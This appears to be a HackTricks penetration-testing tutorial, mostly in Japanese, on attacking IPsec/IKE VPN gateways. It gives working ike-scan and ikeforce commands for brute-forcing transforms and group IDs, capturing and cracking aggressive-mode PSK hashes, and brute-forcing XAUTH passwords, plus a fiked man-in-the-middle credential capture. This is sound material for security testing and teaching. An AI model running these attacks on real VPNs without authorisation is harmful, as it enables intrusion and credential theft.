500/udp - Pentesting IPsec/IKE VPN

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

基本情報

IPsecは、ネットワーク間(LAN-to-LAN)およびリモートユーザーからネットワークゲートウェイ(リモートアクセス)への通信を保護するための主要な技術として広く認識されており、企業VPNソリューションのバックボーンとして機能します。

2つのポイント間のセキュリティアソシエーション(SA)の確立は、認証と鍵交換のために設計されたプロトコルであるISAKMPの下で動作するIKEによって管理されます。このプロセスは、いくつかのフェーズで展開されます:

  • フェーズ1: 2つのエンドポイント間に安全なチャネルが作成されます。これは、事前共有鍵(PSK)または証明書を使用し、3対のメッセージを含むメインモードまたはアグレッシブモードを使用して達成されます。

  • フェーズ1.5: 必須ではありませんが、拡張認証フェーズとして知られるこのフェーズでは、ユーザー名とパスワードを要求することで接続を試みるユーザーの身元を確認します。

  • フェーズ2: このフェーズは、ESPおよびAHを使用してデータを保護するためのパラメータを交渉することに専念しています。これは、**完全前方秘匿性(PFS)**を確保するために、フェーズ1とは異なるアルゴリズムの使用を許可し、セキュリティを強化します。

デフォルトポート: 500/udp

nmapを使用してサービスを発見する

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

有効な変換の発見

IPSecの設定は、1つまたはいくつかの変換のみを受け入れるように準備できます。変換は値の組み合わせです。各変換には、暗号化アルゴリズムとしてのDESまたは3DES、整合性アルゴリズムとしてのSHAまたはMD5、認証タイプとしての事前共有キー、鍵の配布アルゴリズムとしてのDiffie-Hellman 1または2、そして有効期限としての28800秒などの属性が含まれています。

次に、最初に行うべきことは、有効な変換を見つけることです。そうすれば、サーバーがあなたと通信します。そのために、ツールike-scanを使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと8つの変換を含む単一の提案を持つパケットをゲートウェイに送信します。

応答に応じて、エンドポイントに関する情報を取得できます:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

As you can see in the previous response, there is a field called AUTH with the value PSK. This means that the vpn is configured using a preshared key (and this is really good for a pentester). The value of the last line is also very important:

  • 0 returned handshake; 0 returned notify: これはターゲットがIPsecゲートウェイではないことを意味します。

  • 1 returned handshake; 0 returned notify: これはターゲットがIPsec用に設定されており、IKEネゴシエーションを行う意向があり、提案した変換の1つ以上が受け入れ可能であることを意味します(有効な変換は出力に表示されます)。

  • 0 returned handshake; 1 returned notify: VPNゲートウェイは、変換が受け入れ可能でない場合に通知メッセージで応答します(ただし、一部のゲートウェイはそうしないため、その場合はさらなる分析と修正された提案を試みる必要があります)。

次に、この場合、すでに有効な変換がありますが、3番目のケースにいる場合は、有効な変換を見つけるために少しブルートフォースする必要があります:

まず、すべての可能な変換を作成する必要があります:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

そして、ike-scanを使用してそれぞれをブルートフォース攻撃します(これには数分かかる場合があります):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

もしブルートフォースが機能しなかった場合、サーバーが有効なトランスフォームに対してもハンドシェイクなしで応答している可能性があります。その場合、攻撃的モードを使用して同じブルートフォースを試すことができます:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

希望としては、有効な変換が返されることです。 iker.pyを使用して同じ攻撃を試すことができます。 ikeforceを使用して変換をブルートフォースすることも試すことができます:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

DHグループ: 14 = 2048ビットMODPおよび15 = 3072ビット 2 = HMAC-SHA = SHA1(この場合)。--trans形式は$Enc,$Hash,$Auth,$DHです。

Ciscoは、DHグループ1および2は強度が不十分であるため使用を避けるように指示しています。専門家は、リソースが豊富な国々はこれらの弱いグループを使用するデータの暗号を簡単に破ることができると考えています。これは、コードを迅速に解読するための特別な方法を使用して行われます。この方法を設定するのには多くの費用がかかりますが、強度の低いグループ(例えば、1,024ビット以下)を使用している場合、これらの強力な国々は暗号化されたデータをリアルタイムで読むことができます。

サーバーフィンガープリンティング

次に、ike-scanを使用してデバイスのベンダーを発見しようとすることができます。このツールは初期提案を送信し、再生を停止します。その後、サーバーから受信したメッセージと一致する応答パターンの時間差を分析することで、ペンテスターはVPNゲートウェイのベンダーを成功裏にフィンガープリンティングできます。さらに、一部のVPNサーバーはIKEでオプションのベンダーID(VID)ペイロードを使用します。

必要に応じて有効な変換を指定します(--transを使用)

IKEがベンダーを発見すると、それを印刷します:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

これは nmap スクリプト ike-version を使っても達成できます。

正しい ID (グループ名) の見つけ方

ハッシュをキャプチャするためには、Aggressive モードをサポートする有効な変換と正しい ID (グループ名) が必要です。おそらく有効なグループ名はわからないので、ブルートフォースする必要があります。 そのために、2 つの方法をお勧めします。

ike-scan を使った ID のブルートフォース

まず、偽の ID でリクエストを試みてハッシュを収集します ("-P"):

ike-scan -P -M -A -n fakeID <IP>

もしハッシュが返されない場合、このブルートフォースの方法は機能する可能性が高いです。もしいくつかのハッシュが返された場合、これは偽のIDに対して偽のハッシュが返されることを意味するため、この方法はIDをブルートフォースするには信頼できません。例えば、偽のハッシュが返されることがあります(これは最新のバージョンで発生します):

しかし、私が言ったように、ハッシュが返されない場合は、ike-scanを使用して一般的なグループ名をブルートフォースすることを試みるべきです。

このスクリプトは可能なIDをブルートフォースし、有効なハンドシェイクが返されたIDを返します(これが有効なグループ名になります)。

特定の変換を発見した場合は、それをike-scanコマンドに追加してください。そして、いくつかの変換を発見した場合は、すべてを試すために新しいループを追加しても構いません(どれかが正しく機能するまで、すべてを試すべきです)。

一般的なグループ名をブルートフォースするために、ikeforceの辞書seclistsの辞書を使用できます:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

2KB
vpnIDs.txt

Ikerを使ったIDのブルートフォース

iker.py は、ike-scanを使用して可能なグループ名をブルートフォースします。これは、ike-scanの出力に基づいて有効なIDを見つける独自の方法に従います。

ikeforceを使ったIDのブルートフォース

ikeforce.py は、IDをブルートフォースするために使用できるツールです。このツールは、有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性を悪用しようとします(偽陽性と偽陰性が発生する可能性があるため、可能であればike-scanメソッドを使用することを好みます)。

デフォルトでは、ikeforceは最初にサーバーの動作を確認し、使用する戦術を決定するためにいくつかのランダムなIDを送信します。

  • 最初の方法は、CiscoシステムのDead Peer Detection DPDに関する情報を検索することによってグループ名をブルートフォースすることです(この情報は、グループ名が正しい場合にのみサーバーによって再生されます)。

  • 利用可能な第二の方法は、各試行に送信された応答の数をチェックすることです。正しいIDが使用されると、より多くのパケットが送信されることがあります。

  • 第三の方法は、不正なIDに対する応答で「INVALID-ID-INFORMATION」を検索することです。

  • 最後に、サーバーがチェックに対して何も再生しない場合、ikeforceはサーバーをブルートフォースし、正しいIDが送信されたときにサーバーがパケットで応答するかどうかを確認します。 明らかに、IDをブルートフォースする目的は、有効なIDを持っているときにPSKを取得することです。その後、IDPSKを使用してXAUTHをブルートフォースする必要があります(有効な場合)。

特定の変換を発見した場合は、それをikeforceコマンドに追加してください。また、複数の変換を発見した場合は、それらすべてを試すために新しいループを追加してください(すべてを試して、どれかが正常に動作するまで続けるべきです)。

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): VPNクライアントとサーバー間の接続をスニッフィングすることで、有効なユーザー名を取得することも可能です。クライアントIDを含む最初のアグレッシブモードパケットは平文で送信されます。

Capturing & cracking the hash

最後に、有効な変換グループ名を見つけ、アグレッシブモードが許可されている場合、非常に簡単にクラック可能なハッシュを取得できます:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

ハッシュは hash.txt に保存されます。

psk-crackjohnikescan2john.py を使用)および hashcat を使用してハッシュをクラックできます:

psk-crack -d <Wordlist_path> psk.txt

XAuth

攻撃的モード IKE事前共有鍵 (PSK) と組み合わせて グループ認証 の目的で一般的に使用されます。この方法は XAuth (拡張認証) によって強化され、追加の ユーザー認証 層を導入します。このような認証は通常、Microsoft Active DirectoryRADIUS、または同様のシステムを利用します。

IKEv2 に移行すると、XAuth の代わりに EAP (拡張認証プロトコル) がユーザー認証の目的で利用される顕著な変化が見られます。この変更は、安全な通信プロトコル内での認証慣行の進化を強調しています。

ローカルネットワーク MitM による資格情報のキャプチャ

したがって、fiked を使用してログインのデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できます(IKEトラフィックを fiked にリダイレクトしてスニッフィングを行う必要があります。これはARPスプーフィングの助けを借りて行うことができます、詳細情報)。Fiked は VPN エンドポイントとして機能し、XAuth 資格情報をキャプチャします:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

また、IPSecを使用してMitM攻撃を行い、ポート500へのすべてのトラフィックをブロックしてみてください。IPSecトンネルが確立できない場合、トラフィックはクリアで送信される可能性があります。

ikeforceを使用したXAUTHユーザー名とパスワードのブルートフォース

XAUTHをブルートフォースするには(有効なグループ名idpskがわかっている場合)、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

この方法で、ikeforceは各ユーザー名:パスワードの組み合わせを使用して接続を試みます。

有効な変換が1つまたは複数見つかった場合は、前のステップと同様にそれらを使用してください。

IPSEC VPNによる認証

Kaliでは、VPNCを使用してIPsecトンネルを確立します。プロファイルはディレクトリ/etc/vpnc/に配置する必要があります。これらのプロファイルはコマンド_vpnc_を使用して開始できます。

以下のコマンドと設定は、VPNCを使用してVPN接続を設定するプロセスを示しています:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

このセットアップでは:

  • [VPN_GATEWAY_IP] をVPNゲートウェイの実際のIPアドレスに置き換えます。

  • [VPN_CONNECTION_ID] をVPN接続の識別子に置き換えます。

  • [VPN_GROUP_SECRET] をVPNのグループシークレットに置き換えます。

  • [VPN_USERNAME][VPN_PASSWORD] をVPN認証情報に置き換えます。

  • [PID]vpnc が開始されるときに割り当てられるプロセスIDを示します。

VPNを構成する際には、プレースホルダーを置き換えるために実際の安全な値を使用してください。

参考資料

Shodan

  • port:500 IKE

AWSハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、練習する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated